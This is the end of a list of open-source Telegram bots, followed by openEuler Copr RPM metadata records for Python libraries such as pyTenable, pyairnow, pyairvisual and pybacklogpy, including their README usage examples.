  * [CoronaGraphsBot](https://t.me/CovidGraph_bot) ([source](https://github.com/TrevorWinstral/CoronaGraphsBot)) by *TrevorWinstral* - Gets live COVID Country data, plots it, and briefs the user
  * [ETHLectureBot](https://t.me/ETHLectureBot) ([source](https://github.com/TrevorWinstral/ETHLectureBot)) by *TrevorWinstral* - Notifies ETH students when their lectures have been uploaded
  * [Vlun Finder Bot](https://github.com/resinprotein2333/Vlun-Finder-bot) by [Resinprotein2333](https://github.com/resinprotein2333). This bot can help you to find The information of CVE vulnerabilities.
  * [ETHGasFeeTrackerBot](https://t.me/ETHGasFeeTrackerBot) ([Source](https://github.com/DevAdvik/ETHGasFeeTrackerBot]) by *DevAdvik* - Get Live Ethereum Gas Fees in GWEI
  * [Google Sheet Bot](https://github.com/JoachimStanislaus/Tele_Sheet_bot) by [JoachimStanislaus](https://github.com/JoachimStanislaus). This bot can help you to track your expenses by uploading your bot entries to your google sheet.
  * [GrandQuiz Bot](https://github.com/Carlosma7/TFM-GrandQuiz) by [Carlosma7](https://github.com/Carlosma7). This bot is a trivia game that allows you to play with people from different ages. This project addresses the use of a system through chatbots to carry out a social and intergenerational game as an alternative to traditional game development.
  * [Diccionario de la RAE](https://t.me/dleraebot) ([source](https://github.com/studentenherz/dleraebot)) This bot lets you find difinitions of words in Spanish using [RAE's dictionary](https://dle.rae.es/). It features direct message and inline search.
  * [remoteTelegramShell](https://github.com/EnriqueMoran/remoteTelegramShell) by [EnriqueMoran](https://github.com/EnriqueMoran). Control your LinuxOS computer through Telegram.
  * [Commerce Telegram Bot](https://github.com/ayitinya/commerce-telegram-bot/). Make purchases of items in a store with an Admin panel for data control and notifications.
  * [Pyfram-telegram-bot](https://github.com/skelly37/pyfram-telegram-bot) Query wolframalpha.com and make use of its API through Telegram.
  * [TranslateThisVideoBot](https://gitlab.com/WuerfelDev/translatethisvideo) This Bot can understand spoken text in videos and translate it to English
  * [Zyprexa](https://t.me/mathemathicsBot) ([source](https://github.com/atif5/zyprexa)) Zyprexa can solve, help you solve any mathematical problem you encounter and convert your regular mathematical expressions into beautiful imagery using LaTeX.
  * [Bincode-telegram-bot](https://github.com/tusharhero/bincode-telegram-bot) by [tusharhero](https://github.com/tusharhero) - Makes [bincodes](https://github.com/tusharhero/bincode) from text provides and also converts them back to text.
  * [hydrolib_bot](https://github.com/Mayson90/hydrolib_bot) Toolset for Hydrophilia tabletop game (game cards, rules, structure...).
  * [Gugumoe-bot](http://t.me/gugumoe_bot) ([source](https://github.com/GooGuJiang/Gugumoe-bot)) by [咕谷酱](https://gmoe.cc) GuXiaoJiang is a multi-functional robot, such as OSU game information query, IP test, animation screenshot search and other functions.
  * [Feedback-bot](https://github.com/coder2020official/feedbackbot) A feedback bot for user-admin communication. Made on AsyncTeleBot, using [template](https://github.com/coder2020official/asynctelebot_template).
  * [TeleServ](https://github.com/ablakely/TeleServ) by [ablakely](https://github.com/ablakely) This is a Telegram to IRC bridge which links as an IRC server and makes Telegram users appear as native IRC users.
  * [Simple Store Bot](https://github.com/AntonGlyzin/myshopbot) by [Anton Glyzin](https://github.com/AntonGlyzin) This is a simple telegram-store with an admin panel. Designed according to a template.
  * [Media Rating Bot](https://t.me/mediaratingbot) ([source](https://github.com/CommanderCRM/MediaRatingBot))by [CommanderCRM](https://github.com/CommanderCRM). This bot aggregates media (movies, TV series, etc.) ratings from IMDb, Rotten Tomatoes, Metacritic, TheMovieDB, FilmAffinity and also provides number of votes of said media on IMDb.

  **Want to have your bot listed here? Just make a pull request. Only bots with public source code are accepted.**


pkgId: 1c5a278564b83cec27d4d9be7c46db601d7c507084dad1ec44d5d344a75c012e
name: python-pyTenable
arch: src
version: 1.4.12
epoch: 0
release: 1
summary: Python library to interface into Tenable's products and applications
url: https://github.com/tenable/pytenable
rpm_license: MIT
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-ab7ed3ee-ef55-41c6-850c-d395a8c17587
location_href: 00004824-python-pytenable/python-pyTenable-1.4.12-1.src.rpm
checksum_type: sha256
description:
  pyTenable is intended to be a pythonic interface into the Tenable application
  APIs.  Further by providing a common interface and a common structure between
  all of the various applications, we can ease the transition from the vastly
  different APIs between some of the products.
  - Issue Tracker: https://github.com/tenable/pyTenable/issues
  - Github Repository: https://github.com/tenable/pyTenable


pkgId: ae77d3881f522f0c7d4375a9cf72aac52316f846d54c6d58f8ec516628f8cafa
name: python-pyaes
arch: src
version: 1.6.1
epoch: 0
release: 1
summary: Pure-Python Implementation of the AES block-cipher and common modes of operation
url: https://github.com/ricmoo/pyaes
rpm_license: License :: OSI Approved :: MIT License
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-fcc44403-b17a-4e70-aadd-d855e7992b30
location_href: 00004632-python-pyaes/python-pyaes-1.6.1-1.src.rpm
checksum_type: sha256
description:
  A pure-Python implementation of the AES (FIPS-197)
  block-cipher algorithm and common modes of operation (CBC, CFB, CTR, ECB,
  OFB) with no dependencies beyond standard Python libraries. See README.md
  for API reference and details.


pkgId: 24945a417f3adf4963e2f43e13e8af3a63a43ea84a26dad60f1db33f38c61ae6
name: python-pyahocorasick
arch: src
version: 2.0.0
epoch: 0
release: 1
url: http://github.com/WojciechMula/pyahocorasick
rpm_license: BSD-3-Clause and Public-Domain
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-4479af32-ab14-4eac-ad26-2f8263c4f530
location_href: 00010308-python-pyahocorasick/python-pyahocorasick-2.0.0-1.src.rpm
checksum_type: sha256
summary:
  pyahocorasick is a fast and memory efficient library for exact or approximate multi-pattern string search.  With the ``ahocorasick.Automaton`` class, you can find multiple key string occurrences at once in some input text.  You can use it as a plain dict-like Trie or convert a Trie to an automaton for efficient Aho-Corasick search. And pickle to disk for easy reuse of large automatons. Implemented in C and tested on Python 3.6+. Works on Linux, macOS and Windows. BSD-3-Cause license.


pkgId: 2cfb4628d60944075b38ed50bf89e93d5c0e99947c4c3dd083838a023c03e6a4
name: python-pyahocorasick-debuginfo
arch: x86_64
version: 2.0.0
epoch: 0
release: 1
summary: Debug information for package python-pyahocorasick
url: http://github.com/WojciechMula/pyahocorasick
rpm_license: BSD-3-Clause and Public-Domain
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Development/Debug
rpm_buildhost: resalloc-4479af32-ab14-4eac-ad26-2f8263c4f530
rpm_sourcerpm: python-pyahocorasick-2.0.0-1.src.rpm
location_href: 00010308-python-pyahocorasick/python-pyahocorasick-debuginfo-2.0.0-1.x86_64.rpm
checksum_type: sha256
description:
  This package provides debug information for package python-pyahocorasick.
  Debug information is useful when developing applications that use this
  package or when debugging this package.


pkgId: 6d7b5d0fb957f591535420f6a64ab30d0abb9aac97e390faa948846c2802efdd
name: python-pyahocorasick-debugsource
arch: x86_64
version: 2.0.0
epoch: 0
release: 1
summary: Debug sources for package python-pyahocorasick
url: http://github.com/WojciechMula/pyahocorasick
rpm_license: BSD-3-Clause and Public-Domain
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Development/Debug
rpm_buildhost: resalloc-4479af32-ab14-4eac-ad26-2f8263c4f530
rpm_sourcerpm: python-pyahocorasick-2.0.0-1.src.rpm
location_href: 00010308-python-pyahocorasick/python-pyahocorasick-debugsource-2.0.0-1.x86_64.rpm
checksum_type: sha256
description:
  This package provides debug sources for package python-pyahocorasick.
  Debug sources are useful when developing applications that use this
  package or when debugging this package.


pkgId: f25201a1c0dfc22aea7dc590861902f9cd49fee8d069c46fd7c90dc72cd403d5
name: python-pyairnow
arch: src
version: 1.2.1
epoch: 0
release: 1
summary: A lightweight Python wrapper for EPA AirNow Air Quality API
url: https://github.com/asymworks/pyairnow
rpm_license: MIT
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-925987bb-53c4-427a-b19e-955044e583e5
location_href: 00004634-python-pyairnow/python-pyairnow-1.2.1-1.src.rpm
checksum_type: sha256
description:
  [![CI](https://github.com/asymworks/pyairnow/workflows/CI/badge.svg)](https://github.com/asymworks/pyairnow/actions)
  [![PyPi](https://img.shields.io/pypi/v/pyairnow.svg)](https://pypi.python.org/pypi/pyairnow)
  [![Version](https://img.shields.io/pypi/pyversions/pyairnow.svg)](https://pypi.python.org/pypi/pyairnow)
  [![License](https://img.shields.io/pypi/l/pyairnow.svg)](https://github.com/asymworks/pyairnow/blob/master/LICENSE)
  [![Code Coverage](https://codecov.io/gh/asymworks/pyairnow/branch/master/graph/badge.svg)](https://codecov.io/gh/asymworks/pyairnow)

  `pyairnow` is a simple, tested, thin client library for interacting with the
  [AirNow](https://www.airnow.gov) United States EPA Air Quality Index API.

  - [Python Versions](#python-versions)
  - [Installation](#installation)
  - [API Key](#api-key)
  - [Usage](#usage)
  - [Contributing](#contributing)



  `pyairnow` is currently supported and tested on:

  * Python 3.8
  * Python 3.9
  * Python 3.10
  * Python 3.11



  ```python
  pip install pyairnow
  ```



  You can get an AirNow API key from
  [the AirNow API site](https://docs.airnowapi.org/account/request/). Ensure you
  read and understand the expectations and limitations of API usage, which can
  be found at [the AirNow FAQ](https://docs.airnowapi.org/faq).



  ```python
  import asyncio
  import datetime

  from pyairnow import WebServiceAPI


  async def main() -> None:
    client = WebServiceAPI('your-api-key')

    
    data = await client.observations.zipCode(
      '90001',
      
      
      distance=50,
    )

    
    data = await client.observations.latLong(
      34.053718, -118.244842,
      
      
      distance=50,
    )

    
    data = await client.forecast.zipCode(
      '90001',
      
      
      date='2020-09-01',
      
      
      distance=50,
    )

    
    data = await client.forecast.latLong(
      
      '34.053718', '-118.244842',
      
      date=datetime.date(2020, 9, 1),
      
      
      distance=50,
    )


  asyncio.run(main())
  ```

  By default, the library creates a new connection to AirNow with each coroutine.
  If you are calling a large number of coroutines (or merely want to squeeze out
  every second of runtime savings possible), an
  [`aiohttp`](https://github.com/aio-libs/aiohttp) `ClientSession` can be used
  for connection pooling:

  ```python
  import asyncio
  import datetime

  from aiohttp import ClientSession

  from pyairnow import WebServiceAPI


  async def main() -> None:
      async with ClientSession() as session:
          client = WebServiceAPI('your-api-key', session=session)

          


  asyncio.run(main())
  ```

  The library provides two convenience functions to convert between AQI and
  pollutant concentrations. See
  [this EPA document](https://www.airnow.gov/sites/default/files/2020-05/aqi-technical-assistance-document-sept2018.pdf)
  for more details.

  ```python

  from pyairnow.conv import aqi_to_concentration, concentration_to_aqi











  aqi_to_concentration(144, 'PM2.5')


  concentration_to_aqi(53.0, 'PM2.5')

  ```



  1. [Check for open features/bugs](https://github.com/asymworks/pyairnow/issues)
    or [start a discussion on one](https://github.com/asymworks/pyairnow/issues/new).
  2. [Fork the repository](https://github.com/asymworks/pyairnow/fork).
  3. Install [Poetry](https://python-poetry.org/) and set up the development workspace:
    `poetry install`
  4. Code your new feature or bug fix.
  5. Write tests that cover your new functionality.
  6. Run tests and ensure 100% code coverage: `make test`
  7. Run the linter to ensure 100% code style correctness: `make lint`
  8. Update `README.md` with any new documentation.
  9. Add yourself to `AUTHORS.md`.
  10. Submit a pull request!


pkgId: e8bf2200dfaaebe32cd73a68a8de86cc6ff0a66ff308f2adeb228d878de6d334
name: python-pyairvisual
arch: src
version: 2022.12.1
epoch: 0
release: 1
summary: A simple API for AirVisual air quality data
url: https://github.com/bachya/pyairvisual
rpm_license: MIT
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-6197940d-0ae0-4741-b516-743982df654e
location_href: 00004635-python-pyairvisual/python-pyairvisual-2022.12.1-1.src.rpm
checksum_type: sha256
description:
  [![CI][ci-badge]][ci]
  [![PyPI][pypi-badge]][pypi]
  [![Version][version-badge]][version]
  [![License][license-badge]][license]
  [![Code Coverage][codecov-badge]][codecov]
  [![Maintainability][maintainability-badge]][maintainability]

  <a href="https://www.buymeacoffee.com/bachya1208P" target="_blank"><img src="https://cdn.buymeacoffee.com/buttons/default-orange.png" alt="Buy Me A Coffee" height="41" width="174"></a>

  `pyairvisual` is a simple, clean, well-tested library for interacting with
  [AirVisual][airvisual] to retrieve air quality information.

  - [Python Versions](#python-versions)
  - [Installation](#installation)
  - [API Key](#api-key)
    - [Community](#community)
    - [Startup](#startup)
    - [Enterprise](#enterprise)
  - [Usage](#usage)
    - [Using the Cloud API](#using-the-cloud-api)
    - [Working with Node/Pro Units](#working-with-node-pro-units)
  - [Contributing](#contributing)



  `pyairvisual` is currently supported on:

  - Python 3.9
  - Python 3.10
  - Python 3.11



  ```bash
  pip install pyairvisual
  ```



  You can get an AirVisual API key from [the AirVisual API site][airvisual-api].
  Depending on the plan you choose, more functionality will be available from the API:



  The Community Plan gives access to:

  - List supported countries
  - List supported states
  - List supported cities
  - Get data from the nearest city based on IP address
  - Get data from the nearest city based on latitude/longitude
  - Get data from a specific city



  The Startup Plan gives access to:

  - List supported stations in a city
  - Get data from the nearest station based on IP address
  - Get data from the nearest station based on latitude/longitude
  - Get data from a specific station



  The Enterprise Plan gives access to:

  - Get a global city ranking of air quality





  ```python
  import asyncio

  from pyairvisual.cloud_api import CloudAPI


  async def main() -> None:
      """Run!"""
      cloud_api = CloudAPI("<YOUR_AIRVISUAL_API_KEY>")

      
      data = await cloud_api.air_quality.nearest_city()

      
      data = await cloud_api.air_quality.nearest_city(
          latitude=39.742599, longitude=-104.9942557
      )

      
      data = await cloud_api.air_quality.city(
          city="Los Angeles", state="California", country="USA"
      )

      
      
      data = await cloud_api.air_quality.nearest_station()
      data = await cloud_api.air_quality.nearest_station(
          latitude=39.742599, longitude=-104.9942557
      )
      data = await cloud_api.air_quality.station(
          station="US Embassy in Beijing",
          city="Beijing",
          state="Beijing",
          country="China",
      )

      
      data = await cloud_api.air_quality.ranking()

      
      countries = await cloud_api.supported.countries()
      states = await cloud_api.supported.states("USA")
      cities = await cloud_api.supported.cities("USA", "Colorado")
      stations = await cloud_api.supported.stations("USA", "Colorado", "Denver")


  asyncio.run(main())
  ```

  By default, the library creates a new connection to AirVisual with each coroutine. If
  you are calling a large number of coroutines (or merely want to squeeze out every second
  of runtime savings possible), an [`aiohttp`][aiohttp] `ClientSession` can be used for
  connection pooling:

  ```python
  import asyncio

  from aiohttp import ClientSession

  from pyairvisual.cloud_api import CloudAPI


  async def main() -> None:
      """Run!"""
      async with ClientSession() as session:
          cloud_api = CloudAPI("<YOUR_AIRVISUAL_API_KEY>", session=session)

          


  asyncio.run(main())
  ```



  `pyairvisual` also allows users to interact with [Node/Pro units][airvisual-pro], both via
  the cloud API:

  ```python
  import asyncio

  from aiohttp import ClientSession

  from pyairvisual.cloud_api import CloudAPI


  async def main() -> None:
      """Run!"""
      cloud_api = CloudAPI("<YOUR_AIRVISUAL_API_KEY>")

      
      
      data = await cloud_api.node.get_by_node_id("<NODE_ID>")


  asyncio.run(main())
  ```

  ...or over the local network via Samba (the unit password can be found
  [on the device itself][airvisual-samba-instructions]):

  ```python
  import asyncio

  from aiohttp import ClientSession

  from pyairvisual.node import NodeSamba


  async def main() -> None:
      """Run!"""
      async with NodeSamba("<IP_ADDRESS_OR_HOST>", "<PASSWORD>") as node:
          measurements = await node.async_get_latest_measurements()

          
          
          
          
          history = await node.async_get_history()


  asyncio.run(main())
  ```

  Check out the examples, the tests, and the source files themselves for method
  signatures and more examples.



  Thanks to all of [our contributors][contributors] so far!

  1. [Check for open features/bugs][issues] or [initiate a discussion on one][new-issue].
  2. [Fork the repository][fork].
  3. (_optional, but highly recommended_) Create a virtual environment: `python3 -m venv .venv`
  4. (_optional, but highly recommended_) Enter the virtual environment: `source ./.venv/bin/activate`
  5. Install the dev environment: `script/setup`
  6. Code your new feature or bug fix on a new branch.
  7. Write tests that cover your new functionality.
  8. Run tests and ensure 100% code coverage: `poetry run pytest --cov pyairvisual tests`
  9. Update `README.md` with any new documentation.
  10. Submit a pull request!

  [aiohttp]: https://github.com/aio-libs/aiohttp
  [airvisual]: https://www.airvisual.com/
  [airvisual-api]: https://www.airvisual.com/user/api
  [airvisual-pro]: https://www.airvisual.com/air-quality-monitor
  [airvisual-samba-instructions]: https://support.airvisual.com/en/articles/3029331-download-the-airvisual-node-pro-s-data-using-samba
  [ci-badge]: https://github.com/bachya/pyairvisual/workflows/CI/badge.svg
  [ci]: https://github.com/bachya/pyairvisual/actions
  [codecov-badge]: https://codecov.io/gh/bachya/pyairvisual/branch/dev/graph/badge.svg
  [codecov]: https://codecov.io/gh/bachya/pyairvisual
  [contributors]: https://github.com/bachya/pyairvisual/graphs/contributors
  [fork]: https://github.com/bachya/pyairvisual/fork
  [issues]: https://github.com/bachya/pyairvisual/issues
  [license-badge]: https://img.shields.io/pypi/l/pyairvisual.svg
  [license]: https://github.com/bachya/pyairvisual/blob/main/LICENSE
  [maintainability-badge]: https://api.codeclimate.com/v1/badges/a03c9e96f19a3dc37f98/maintainability
  [maintainability]: https://codeclimate.com/github/bachya/pyairvisual/maintainability
  [new-issue]: https://github.com/bachya/pyairvisual/issues/new
  [new-issue]: https://github.com/bachya/pyairvisual/issues/new
  [pypi-badge]: https://img.shields.io/pypi/v/pyairvisual.svg
  [pypi]: https://pypi.python.org/pypi/pyairvisual
  [version-badge]: https://img.shields.io/pypi/pyversions/pyairvisual.svg
  [version]: https://pypi.python.org/pypi/pyairvisual


pkgId: 59d195a9ba455931d923c8a14dcd0963f8cecc92bd775ffba9e787d51b91d792
name: python-pyaml
arch: src
version: 21.10.1
epoch: 0
release: 1
summary: PyYAML-based module to produce pretty and readable YAML-serialized data
url: https://github.com/mk-fg/pretty-yaml
rpm_license: WTFPL
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-b97f6f3c-28dd-43cd-bf3c-2f1645852bd9
location_href: 00009475-python-pyaml/python-pyaml-21.10.1-1.src.rpm
checksum_type: sha256
description:
  PyYAML-based python module to produce pretty and readable YAML-serialized data.
  This module is for serialization only, see `ruamel.yaml`_ module for literate
  YAML parsing (keeping track of comments, spacing, line/column numbers of values, etc).
  [note: to dump stuff parsed by ruamel.yaml with this module, use only ``YAML(typ='safe')`` there]


pkgId: 6be4738264f85ea4fbd820cbaf621ea1f2f082773f2bea7db9c48d4577e9e00c
name: python-pyangbind
arch: src
version: 0.8.1
epoch: 0
release: 1
url: https://github.com/robshakir/pyangbind
rpm_license: Apache
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-6c601717-5e04-4cd6-be7c-15c339bef2b5
location_href: 00012056-python-pyangbind/python-pyangbind-0.8.1-1.src.rpm
checksum_type: sha256
summary:
  PyangBind is a plugin for pyang which converts YANG datamodels into a Python class hierarchy, such that Python can be used to manipulate data that conforms with a YANG model.

description:
  PyangBind is a plugin for pyang which converts YANG data models into a Python class hierarchy, such that Python can be used to manipulate data that conforms with a YANG model.
  This module provides the supporting classes and functions that PyangBind modules utilise, particularly:
  * pyangbind.base.PybindBase - which is the parent class inherited by all container or module YANG objects.
  * pyangbind.pybindJSON - which containers wrapper functions which can be used to help with serialisation of YANG to JSON.
  * pyangbind.serialise.pybindJSONEncoder - a class that can be used as a custom encoder for the JSON module to serialise PyangBind class hierarchies to JSON.
  * pyangbind.serialise.pybindJSONDecoder - a class that can be used as a custom decoder to load JSON-encoded instances of YANG models into a PyangBind class hierarchy.
  * pyangbind.xpathhelper.YANGPathHelper - a class which can have objects registered against it, and subsequently retrieved from it using XPATH expressions. This module also includes parent classes that can be used to implement other helper modules of this nature.
  * pyangbind.yangtypes: The various functions which generate python types that are used to represent YANG types, and some helper methods.
    - pyangbind.yangtypes.is_yang_list and is_yang_leaflist are self explainatory, but may be useful.
    - pyangbind.yangtypes.safe_name is used throughout PyangBind to determine how to map YANG element names into Python attribute names safely.
    - pyangbind.yangtypes.RestrictedPrecisionDecimalType - generates wrapped Decimal types that has a restricted set of decimal digits - i.e., can deal with fraction-digits arguments in YANG.
    - pyangbind.yangtypes.RestrictedClassType - generates types which wrap a 'base' type (e.g., integer) with particular restrictions. The restrictions are supplied as a dictionary, or with specific arguments if single restrictions are required. Currently, the restrictions supported are regexp matches, ranges, lengths, and restrictions to a set of values (provided as keys to a dict).
    - pyangbind.yangtypes.TypedListType - generates types which wrap a list to restrict the objects that it may contain.
    - pyangbind.yangtypes.YANGListType - generates types which wrap a class representing a container, such that it acts as a YANG list.
    - pyangbind.yangtypes.YANGBool - a boolean class.
    - pyangbind.yangtypes.YANGDynClass - generates types which consist of a wrapper (YANGDynClass) and a wrapped object which may be any other class. YANGDynClass is a meta-class that provides additional data on top of the attributes and functions of the wrapped class.
    - pyangbind.yangtypes.ReferenceType - generates types which can use a pyangbind.xpathhelper.PybindXpathHelper instance to look up values - particularly to support leafrefs in YANG.
  Usage documentation for PyangBind itself can be found on GitHub: https://github.com/robshakir/pyangbind


pkgId: be8c287351179a12f863ed4f84314cd95b77b76965235fb43e8696a24bb036cb
name: python-pyapacheatlas
arch: src
version: 0.15.0
epoch: 0
release: 1
summary: A package to simplify working with the Apache Atlas REST APIs for Atlas and Azure Purview.
url: https://github.com/wjohnson/pyapacheatlas
rpm_license: MIT License
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-d08edeb1-8bc8-4abf-be03-e71812fad841
location_href: 00013534-python-pyapacheatlas/python-pyapacheatlas-0.15.0-1.src.rpm
checksum_type: sha256
description:
  PyApacheAtlas lets you work with the Azure Purview and Apache Atlas APIs in a Pythonic way. Supporting bulk loading, custom lineage, custom type definition and more from an SDK and Excel templates / integration.

  The package supports programmatic interaction and an Excel template for low-code uploads.



  * Bulk upload entities.
    * Upload entities / assets for built-in or custom types.
    * Supports adding glossary terms to entities.
    * Supports adding classifications to entities.
    * Supports creating relationships between entities (e.g. columns of a table).
  * Creating custom lineage between existing entities.
  * Defining Purview Column Mappings / Column Lineage.
  * Bulk upload custom type definitions.
  * Bulk upload of classification definitions (Purview Classification Rules not supported).



  The PyApacheAtlas package itself supports those operations and more for the advanced user:
  * Programmatically create Entities, Types (Entity, Relationship, etc.).
  * Perform partial updates of an entity (for non-complex attributes like strings or integers).
  * Extracting entities by guid or qualified name.
  * Creating custom lineage with Process and Entity types.
  * Working with the glossary.
    * Uploading terms.
    * Downloading individual or all terms.
  * Working with classifications.
    * Classify one entity with multiple classifications.
    * Classify multiple entities with a single classification.
    * Remove classification ("declassify") from an entity.
  * Working with relationships.
    * Able to create arbitrary relationships between entities.
    * e.g. associating a given column with a table.
  * Deleting types (by name) or entities (by guid).
  * Performing "What-If" analysis to check if...
     * Your entities are valid types.
     * Your entities are missing required attributes.
     * Your entities are using undefined attributes.
  * Azure Purview's Search: query, autocomplete, suggest, browse.
  * Authentication to Azure Purview using azure-identity and Service Principal
  * Authentication to Apache Atlas using basic authentication of username and password.


pkgId: 5a65eb9ad10e05c354a26b9c6163015d8074f9ae1d1c4ffb45d4bacac741c27f
name: python-pyarlo
arch: src
version: 0.2.4
epoch: 0
release: 1
url: https://github.com/tchellomello/python-arlo
rpm_license: LGPLv3+
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-ab8dc878-bf66-4b71-bdd0-8ae3d7931d4e
location_href: 00004636-python-pyarlo/python-pyarlo-0.2.4-1.src.rpm
checksum_type: sha256
summary:
  Python Arlo is a library written in Python 2.7/3x that exposes the Netgear Arlo cameras as Python objects.

description:
  Python Arlo  is a library written in Python 2.7/3x that exposes the Netgear Arlo cameras as Python objects.
  Developer Documentation: `http://python-arlo.readthedocs.io/ <http://python-arlo.readthedocs.io/>`_


pkgId: 8feb1f1ed63ebce9d14a71ea8c7deeb9533df1fa454d8f0e3137962a98461c7a
name: python-pyasn1-modules
arch: src
version: 0.2.8
epoch: 0
release: 1
summary: A collection of ASN.1-based protocols modules.
url: https://github.com/etingof/pyasn1-modules
rpm_license: BSD-2-Clause
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-83d26734-105c-40a2-bcbd-36f3c506ed51
location_href: 00008921-python-pyasn1-modules/python-pyasn1-modules-0.2.8-1.src.rpm
checksum_type: sha256
description:
  A collection of ASN.1 modules expressed in form of pyasn1 classes. Includes protocols PDUs definition (SNMP, LDAP etc.) and various data structures (X.509, PKCS etc.).


pkgId: 5f674033a577556137c09b2638c58ca5209d9551cf43fde90541abc6b0ae4416
name: python-pybacklogpy
arch: src
version: 0.12
epoch: 0
release: 1
summary: A library for backlog api
url: https://kitadakyou.github.io/PyBacklogPy/
rpm_license: Apache License 2.0
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-a561de4b-5e4a-4afe-9141-2467cfb07fb2
location_href: 00011149-python-pybacklogpy/python-pybacklogpy-0.12-1.src.rpm
checksum_type: sha256
description:
  [![CircleCI](https://circleci.com/gh/kitadakyou/PyBacklogPy/tree/master.svg?style=svg)](https://circleci.com/gh/kitadakyou/PyBacklogPy/tree/master)



  [BacklogAPI](https://developer.nulab.com/ja/docs/backlog/) を Python から簡単に呼べるようにラップしたものです。



  - `Python 3.5` 以上
    - `typing` モジュールを使用しているため
    - 開発およびテスト環境は `Python 3.7.3` を使用



  詳細な仕様については[ドキュメント](https://kitadakyou.github.io/PyBacklogPy/)を参照してください



  pip からインストールします。

  ```bash
  pip install pybacklogpy
  ```



  ドメイン及びシークレットキーを登録するには以下の2種類の方法があります。

  1. プログラム上で指定する
  1. 設定ファイルを置く

  なお、どちらも設定していた場合、 __プログラム上で指定する__ の方が優先されます。



  Backlogのドメイン別に以下3種類のクラスを用意しています。

  - BacklogComConfigure (backlog.com)
  - BacklogJpConfigure (backlog.jp)
  - BacklogToolConfigure (backlogtool.com)

  このクラスのコンストラクタ引数として、スペースID と API のキーを渡すことで設定を行えます。

  例えば、下記のような場合
  - Backlogドメイン: `kitadakyou.backlog.com`
  - API キー: `qwertyuiopasdfghjklzxcvbnmqazwsxedcrfvtgbyhnujmikolp`

  コードは次のようになります。

  ```python
  from pybacklogpy.BacklogConfigure import BacklogComConfigure
  from pybacklogpy.Issue import Issue


  config = BacklogComConfigure(space_key='kitadakyou',
                               api_key='qwertyuiopasdfghjklzxcvbnmqazwsxedcrfvtgbyhnujmikolp')


  issue_api = Issue(config)  # API を呼ぶクラスのコンストラクタ引数として Configure クラスのインスタンスは使用可能
  response = issue_api.get_issue_list()


  ```



  使用するプロジェクトの直下に `secrets` というファイルを作り、以下のように値を入れておいてください。
  なお、当プロジェクト直下にある `secrets_sample` をコピーすると楽です。

  なお、このファイルは誤ってリポジトリにあげないよう、 `.gitignore` に追加しておくことを推奨します

  ```ini
  [backlog]
  Host = kitadakyou.backlog.com
  ApiKey = qwertyuiopasdfghjklzxcvbnmqazwsxedcrfvtgbyhnujmikolp
  ```

  `secrets` を指定した場合、先ほどの例で使用した configure クラスは省略して、以下のように書くことが出来ます

  ```python
  from pybacklogpy.Issue import Issue


  issue_api_2 = Issue()  # Configure クラスを渡さなかった場合は、設定ファイルの情報を読みに行く
  response_2 = issue_api_2.get_issue_list()

  ```

  なお、 `configure` クラスを渡さず、 `secrets` も設置していない場合は実行エラーとなります。



  使用するモジュールをロードします。
  それぞれはクラスになっているので、そのインスタンスを生成します。

  例として、Wiki の API を呼びたいと考えます。

  ```python:sample.py
  from pybacklogpy.Wiki import Wiki


  wiki_api = Wiki()

  ```



  どのような API があるかは [PyBacklogPy のドキュメント](https://kitadakyou.github.io/PyBacklogPy/)、もしくは [BacklogAPI のドキュメント](https://developer.nulab.com/ja/docs/backlog/)を参照してください。
  また、プロジェクトID や Wiki ID 等の調べ方は…ググればすぐに出てきます

  Wiki を追加するサンプル

  ```python:sample3.py
  from pybacklogpy.Wiki import Wiki


  wiki_api = Wiki()


  response = wiki_api.add_wiki_page(
      project_id=1000,
      name='SampleWikiName',
      content='サンプル Wiki 本文',
      mail_notify=False,
  )

  ```

  Wiki を更新するサンプル

  ```python:sample3.py
  from pybacklogpy.Wiki import Wiki


  wiki_api = Wiki()


  response = wiki_api.update_wiki_page(
      wiki_id=12345,
      name='TestWikiName',
      content='テスト 本文',
      mail_notify=False,
  )

  ```



  全ての関数は [request](https://requests-docs-ja.readthedocs.io/en/latest/) の [レスポンスオブジェクト](https://requests-docs-ja.readthedocs.io/en/latest/user/quickstart/#id3) を返します。

  リクエストが成功しているかを確認するには、 `response.ok` を見るのが１番早いです。

  Wiki の更新が成功しているか確認するサンプル

  ```python:sample4.py
  from pybacklogpy.Wiki import Wiki


  wiki_api = Wiki()


  response = wiki_api.update_wiki_page(
      wiki_id=12345,
      name='TestWikiName',
      content='テスト 本文',
      mail_notify=False,
  )
  if not response.ok:
      raise ValueError('Wiki の更新に失敗')

  ```

  また、レスポンス本文は `response.text` の中身に生(=テキストの)の JSON が入っています。標準ライブラリ `json` を使って parse してあげれば、簡単に使えます。

  Wiki の内容を取得するサンプル

  ```python:sample5.py
  import json


  from pybacklogpy.Wiki import Wiki


  wiki_api = Wiki()


  response = wiki_api.get_wiki_page(
      wiki_id=12345,
  )

  if not response.ok:
      raise ValueError('Wiki ページ情報の取得に失敗')

  wiki_data = json.loads(response.text)
  wiki_name = wiki_data['name']
  wiki_content = wiki_data['content']

  ```



  ファイル取得については、特殊な返り値のため、別途こちらで説明します。

  ファイルを取得する関数を使用する場合は、まずディレクトリを作成する必要があります。
  デフォルトではプロジェクト直下の `/tmp` ディレクトリにファイルがダウンロードされます。(今の所、変更不可💦)

  ファイルを取得する関数は「1番目がファイルのPATH」、「2番目がレスポンスオブジェクト」のタプルを返します。
